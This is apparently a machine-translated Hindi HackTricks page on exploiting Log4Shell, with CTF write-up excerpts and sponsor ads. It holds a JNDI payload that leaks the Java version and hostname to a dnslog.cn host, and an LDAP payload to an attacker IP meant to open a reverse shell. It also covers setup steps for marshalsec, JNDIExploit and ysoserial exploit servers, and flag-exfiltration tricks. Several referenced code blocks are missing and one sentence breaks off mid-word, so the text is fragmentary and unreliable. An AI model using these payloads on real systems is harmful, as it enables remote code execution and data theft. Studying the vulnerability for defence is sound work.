* अगर आप अपनी कंपनी की विज्ञापनित करना चाहते हैं **HackTricks** में या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
वे सुरक्षा गड़बड़ी खोजें जो सबसे महत्वपूर्ण हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमले की सतह का ट्रैक करता है, प्रोएक्टिव धारणा स्कैन चलाता है, आपकी पूरी तकनीकी स्टैक, API से वेब ऐप्स और क्लाउड सिस्टम तक मुद्दे खोजता है। [**आज ही मुफ्त में इसका प्रयास करें**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)।
या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें पर्यावरण चर का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन वंशीकरणयोग्य है।
JDK संस्करण 6u141, 7u131 या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निष्क्रियकरण के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि इन संस्करणों के खिलाफ **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं हैं**।
इन उच्च JDK संस्करणों का शोध करने वाले हमलावरों के लिए, जावा एप्लिकेशन में **विश्वसनीय गैजेट** का उपयोग आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोध करना अधिक सरल है क्योंकि इन संस्करणों को बदलकर विचारशील कक्षाएँ लोड और क्रियान्वित की जा सकती हैं।
**अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएँ_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें।
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) (jar संस्करण यहाँ उपलब्ध है [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित करता है जो कनेक्शन को एक द्वितीय HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
कंपाइल करें जावा फ़ाइल को एक क्लास फ़ाइल में इस्तेमाल करके: `javac Exploit.java -source 8 -target 8`। अगले, उस डायरेक्टरी में जहां क्लास फ़ाइल है, **HTTP सर्वर** आरंभ करें: `python3 -m http.server`। सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है।
**ध्यान दें:** यह एक्सप्लॉइट जावा के कॉन्फ़िगरेशन पर निर्भर है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह अनुमति नहीं है, तो विश्वसनीय क्लास का उपयोग करके विचारशील कोड निष्पादन के लिए एक्सप्लॉइट करने का विचार करें।
ध्यान दें कि किसी कारणवश लेखक ने इस प्रोजेक्ट को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश्ड संस्करण [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में खोज सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वलन को एक्सप्लॉइट करने के लिए एक विभिन्न विधि का उपयोग करें।
इसके अतिरिक्त, आप वेब सर्वर को **लॉग4शैल** के लिए वलनरेबल केवल इस पोर्ट 8080 में चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है इसकी जानकारी मिलेगी_)। यह वलनरेबल एप्लिकेशन HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को एक वलनरेबल संस्करण के साथ लॉग कर रहा है।
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
**ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` जांचना न भूलें। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।**
पिछले शोषण के तरह, आप इस भयानकता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **THM सोलर रूम** जैसे लैब्स में काम करेगा। हालांकि, यह आम तौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह किसी भरोसेमंद क्लास का दुरुपयोग करने के लिए विश्वसनीय क्लास को अर्बिट्रे कोड निष्पादित नहीं कर रहा है।_
### RCE - ysoserial & JNDI-Exploit-Kit
यह विकल्प वास्तव में उपयोगी है **जावा संस्करणों को केवल निर्दिष्ट क्लासों पर विश्वास करने के लिए कॉन्फ़िगर किया गया है और सभी को नहीं**। इसलिए, **ysoserial** का उपयोग किया जाएगा **विश्वसनीय क्लासों की सीरियलाइज़ेशन उत्पन्न करने के लिए** जो गैजेट के रूप में उपयोग किया जा सकता है ताकि **अर्बिट्रे कोड निष्पादित किया जा सके** (_ysoserial द्वारा दुरुपयोग किया गया विश्वसनीय क्लास का उपयोग विक्टिम जावा प्रोग्राम द्वारा किया जाना चाहिए ताकि उत्पाद काम करे_).
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप JNDI द्वारा डाउनलोड किया जाने वाला डेसीरियलाइज़ेशन हमला बना सकते हैं:
व्यक्तिगत जानकारी के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किया जा सके जहाँ उत्पादनशील मशीनों से जोखिम जन्म ले सकता है। आप **JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न विभिन्न जोखिम** या अपने **डेसीरियलाइज़ेशन पेलोड** (जिन्हें आपने उत्पन्न किया हो या ysoserial द्वारा) सर्व कर सकते हैं।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संरूपण की कमजोरी का शोध और प्राप्त कर सकते हैं **रिवर्स शैल** बस एक असुरक्षित संस्करण पर भेजना है: **`${ldap://10.10.14.10:1389/generated}`**
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ विशेषताओं का दुरुपयोग संभावित है।
> संस्करण 2.16.0 (जावा 8 के लिए) से, **संदेश खोज विशेषता पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j JNDI तक पहुंच को डिसेबल कर देता है। कॉन्फ़िगरेशन में JNDI खोज को सक्षम करना अब व्यक्तिगत रूप से करना होगा।
> संस्करण 2.17.0 से, (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रूपांतरित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष-स्तर की खोज हल की जाती है, और किसी भी नेस्टेड खोज को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` दुरुपयोग का उपयोग भूल सकते हैं। इसके अतिरिक्त, रूपांतरित खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
[इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` का मान नियंत्रित करता था और एक environment variable से झंडा निकालना था।
जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, वहाँ विभिन्न तरीके हैं जिनसे env variables तक पहुंचा जा सकता है, जैसे: **`${env:FLAG}`**। इस CTF में यह अनुप्रयोगी था लेकिन यह अन्य वास्तविक जीवन स्थितियों म
जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** **रीजेक्स** का समर्थन करता है। इसलिए [**ReDoS पेज**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न करना संभव है यदि ध्वज मिल जाता है।\
इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, ReDoS हमले की बजाय एक **वृद्धि हमला** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर होता है:
> यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग किया क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाएगा**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** होते हैं।
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 भेजा जाएगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, तो हमें गैर-500 स्थिति कोड प्राप्त होगा)
वे सुरक्षा गड़बड़ियों को खोजें जो सबसे अधिक मायने रखती हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमला सतह का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, API से वेब ऐप्स और क्लाउड सिस्टम तक आपके पूरे टेक स्टैक में मुद्दे खोजता है। [**इसे मुफ्त में प्रयास करें**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) आज।
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!